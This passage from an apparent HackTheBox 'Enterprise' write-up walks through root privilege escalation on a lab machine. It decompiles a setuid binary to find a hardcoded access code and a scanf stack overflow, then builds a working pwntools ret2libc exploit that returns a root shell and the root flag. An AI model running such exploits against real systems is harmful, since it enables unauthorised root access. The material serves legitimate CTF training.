/bin/ping
/bin/ntfs-3g
/bin/mount
/bin/lcars
/bin/fusermount

The file that we are interested in is the /bin/lcars file.

1
2
www-data@enterprise:/home/jeanlucpicard$ file /bin/lcars
/bin/lcars: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=88410652745b0a94421ce22ea4278a8eaea8db57, not stripped

Lets download it to our host to analyze it further.

1
meterpreter > download /bin/lcars
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
chmod +x lcars
❯ file lcars
lcars: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=88410652745b0a94421ce22ea4278a8eaea8db57, not stripped

❯ checksec lcars
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        PIE enabled
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No


❯ ./lcars

                 _______ _______  ______ _______
          |      |       |_____| |_____/ |______
          |_____ |_____  |     | |    \_ ______|

Welcome to the Library Computer Access and Retrieval System

Enter Bridge Access Code: 
test

Invalid Code
Terminating Console

This looks exactly like the binary that is hosted on port 32812.

Lets decompile the code on Ghidra and analyze the source code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
undefined4 main(void)

{
  char local_19 [9];
  undefined *local_10;
  
  local_10 = &stack0x00000004;
  setresuid(0,0,0);
  startScreen();
  puts("Enter Bridge Access Code: ");
  fflush(_stdout);
  fgets(local_19,9,_stdin);
  bridgeAuth(local_19);
  return 0;
}

The main function is checking for the Bridge Access Code before allowing us in.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void bridgeAuth(char *param_1)

{
  char local_32;
  undefined uStack_31;
  undefined uStack_30;
  undefined uStack_2f;
  undefined uStack_2e;
  undefined uStack_2d;
  undefined uStack_2c;
  undefined uStack_2b;
  undefined uStack_2a;
  int local_14;
  undefined4 local_10;
  
  local_32 = 'p';
  uStack_31 = 'i';
  uStack_30 = 'c';
  uStack_2f = 'a';
  uStack_2e = 'r';
  uStack_2d = 'd';
  uStack_2c = 'a';
  uStack_2b = '1';
  local_10 = L'\t';
  uStack_2a = '\0';
  local_14 = strcmp(param_1,&local_32);
  if (local_14 == 0) {
    main_menu();
  }
  else {
    puts("\nInvalid Code\nTerminating Console\n");
  }
  fflush(_stdout);
                    /* WARNING: Subroutine does not return */
  exit(0);
}

The bridgeAuth function seems to be comparing the code to picarda1. If it’s picarda1, then it will bring us to the main_menu function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void main_menu(void)

{
  undefined4 local_d8 [52];
  
  local_d8[0] = 0;
  startScreen();
  puts("\n");
  puts("LCARS Bridge Secondary Controls -- Main Menu: \n");
  puts("1. Navigation");
  puts("2. Ships Log");
  puts("3. Science");
  puts("4. Security");
  puts("5. StellaCartography");
  puts("6. Engineering");
  puts("7. Exit");
  puts("Waiting for input: ");
  fflush(_stdout);
  __isoc99_scanf(&DAT_00010f92,local_d8);
                    /* WARNING: Could not find normalized switch variable to match jumptable */
                    /* WARNING: This code block may not be properly labeled as switch case */
  unable();
  return;
}

Another interesting function that Ghidra listed was disableForcefields.

1
2
3
4
5
6
7
8
9
10
11
12
13
void disableForcefields(void)

{
  undefined local_d4 [204];
  
  startScreen();
  puts("Disable Security Force Fields");
  puts("Enter Security Override:");
  fflush(_stdout);
  __isoc99_scanf(&DAT_00010ec4,local_d4);
  printf("Rerouting Tertiary EPS Junctions: %s",local_d4);
  return;
}

The function reads a single string from the user with scanf and prints it back as part of a message.

scanf is known to be vulnerable to buffer overflow so lets exploit it.

Lets generate a set of unique characters and use it to exploit the buffer overflow.

1
2
❯ msf-pattern_create -l 250
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
❯ gdb -q lcars
pwndbg> r
Starting program: /home/shiro/Documents/HackTheBox/Enterprise/lcars 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

                 _______ _______  ______ _______
          |      |       |_____| |_____/ |______
          |_____ |_____  |     | |    \_ ______|

Welcome to the Library Computer Access and Retrieval System

Enter Bridge Access Code: 
picarda1

                 _______ _______  ______ _______
          |      |       |_____| |_____/ |______
          |_____ |_____  |     | |    \_ ______|

Welcome to the Library Computer Access and Retrieval System



LCARS Bridge Secondary Controls -- Main Menu: 

1. Navigation
2. Ships Log
3. Science
4. Security
5. StellaCartography
6. Engineering
7. Exit
Waiting for input: 
4
Disable Security Force Fields
Enter Security Override:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A

Program received signal SIGSEGV, Segmentation fault.
0x31684130 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────
 EAX  0x11c
 EBX  0x41386741 ('Ag8A')
 ECX  0
 EDX  0
 EDI  0xf7ffcb60 (_rtld_global_ro) ◂— 0
 ESI  0x56555d30 (__libc_csu_init) ◂— push ebp
 EBP  0x68413967 ('g9Ah')
 ESP  0xffffd2e0 ◂— 'Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A'
 EIP  0x31684130 ('0Ah1')
────────────────────────────────────[ DISASM / i386 / set emulate on ]────────────────────────────────────

Invalid address 0x31684130

────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────
00:0000│ esp 0xffffd2e0 ◂— 'Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A'
01:0004│     0xffffd2e4 ◂— 'h3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A'
02:0008│     0xffffd2e8 ◂— '4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A'
03:000c│     0xffffd2ec ◂— 'Ah6Ah7Ah8Ah9Ai0Ai1Ai2A'
04:0010│     0xffffd2f0 ◂— 'h7Ah8Ah9Ai0Ai1Ai2A'
05:0014│     0xffffd2f4 ◂— '8Ah9Ai0Ai1Ai2A'
06:0018│     0xffffd2f8 ◂— 'Ai0Ai1Ai2A'
07:001c│     0xffffd2fc ◂— 'i1Ai2A'
──────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────
 ► 0 0x31684130 None
   1 0x41326841 None
   2 0x68413368 None
   3 0x35684134 None
   4 0x41366841 None
   5 0x68413768 None
   6 0x39684138 None
   7 0x41306941 None
──────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 

From the segmentation fault, we can get the EIP value to find the offset.

1
2
❯ msf-pattern_offset -q 0Ah1
[*] Exact match at offset 212

212 is the amount of offset required. Lets test this by generating 212 As and 4 Bs.

1
2
❯ python3 -c 'print("A"*212 + "BBBB")'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> r
...
Enter Security Override:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
...
──────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────
 EAX  0xfa
 EBX  0x41414141 ('AAAA')
 ECX  0
 EDX  0
 EDI  0xf7ffcb60 (_rtld_global_ro) ◂— 0
 ESI  0x56555d30 (__libc_csu_init) ◂— push ebp
 EBP  0x41414141 ('AAAA')
 ESP  0xffffd2e0 ◂— 0
 EIP  0x42424242 ('BBBB')
...

We observe that the 4 Bs are in the EIP now.

We will be exploiting ret2libc to overwrite the return address of a function on the stack by using the libc library.

Lets get the addresses for the libc library.

1
2
3
4
5
www-data@enterprise:/var/www/html/files$ ldd /bin/lcars
ldd /bin/lcars
	linux-gate.so.1 =>  (0xf7ffc000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	/lib/ld-linux.so.2 (0x56555000)

We observe that the libc.so.6 library is at address 0xf7e32000.

Now lets get the addresses of system and exit.

1
2
3
4
www-data@enterprise:/var/www/html/files$ gdb /bin/lcars
(gdb) p &system
p &system
No symbol table is loaded.  Use the "file" command.

The system doesn’t know because the program isn’t started or loaded yet. Lets set a breakpoint, run the program and get the addresses of system and exit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(gdb) b main
b main
Breakpoint 1 at 0xca0

(gdb) r 
r
Starting program: /bin/lcars 

Breakpoint 1, 0x56555ca0 in main ()

(gdb) p system
p system
$1 = {<text variable, no debug info>} 0xf7e4c060 <system>

(gdb) p exit
p exit
$2 = {<text variable, no debug info>} 0xf7e3faf0 <exit>

Now lets try to find /bin/sh between 2 memory addresses. We can search from the start of the libc library address.

1
2
3
4
5
(gdb) find 0xf7e32000,+5000000,"/bin/sh"
find 0xf7e32000,+5000000,"/bin/sh"
0xf7f70a0f
warning: Unable to access 16000 bytes of target memory at 0xf7fca797, halting search.
1 pattern found.

We can verify this address by using x/s <address found>.

1
2
3
(gdb) x/s 0xf7f70a0f
x/s 0xf7f70a0f
0xf7f70a0f:	"/bin/sh"

However, this address is problematic as it has a 0x0a byte in it which is ASCII for newline.

Lets look for sh addresses instead.

1
2
3
4
5
6
7
8
(gdb) find 0xf7e32000,+5000000,"sh"    
find 0xf7e32000,+5000000,"sh"    
0xf7f6ddd5
0xf7f6e7e1
0xf7f70a14
0xf7f72582
warning: Unable to access 16000 bytes of target memory at 0xf7fc8485, halting search.
4 patterns found.

We shall use the address 0xf7f70a14 since it is close to the /bin/sh address. However, we should be able to use any of the other addresses too.

Lets craft the exploit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
cat solve.py
#!/usr/bin/env python3

from pwn import *

r = remote("enterprise.htb", 32812)

system_addr = p32(0xf7e4c060) # address of system function in libc
exit_addr = p32(0xf7e3faf0) # address of exit function in libc
sh_addr = p32(0xf7f6ddd5) # address of sh string in libc

payload = b"A" * 212 + system_addr + exit_addr + sh_addr

r.recvuntil("Enter Bridge Access Code:")
r.sendline("picarda1")
r.recvuntil("Waiting for input:")
r.sendline("4")
r.recvuntil("Enter Security Override:")
r.sendline(payload)
r.interactive()
  • b"A" * 212: Fills the buffer and reaches the return address on the stack.
  • system_addr: Overwrites the return address to point to system.
  • exit_addr: Adds the address of exit as the return address after system completes.
  • sh_addr: Provides sh as the argument for system.

Run the exploit and get a root shell.

1
2
3
4
5
6
7
8
9
10
❯ ./solve.py
[+] Opening connection to enterprise.htb on port 32812: Done
...
[*] Switching to interactive mode

$ whoami
root

$ cat /root/root.txt
639b4ffb52d51797e5bd94a93d63aae0
This post is licensed under CC BY 4.0 by the author.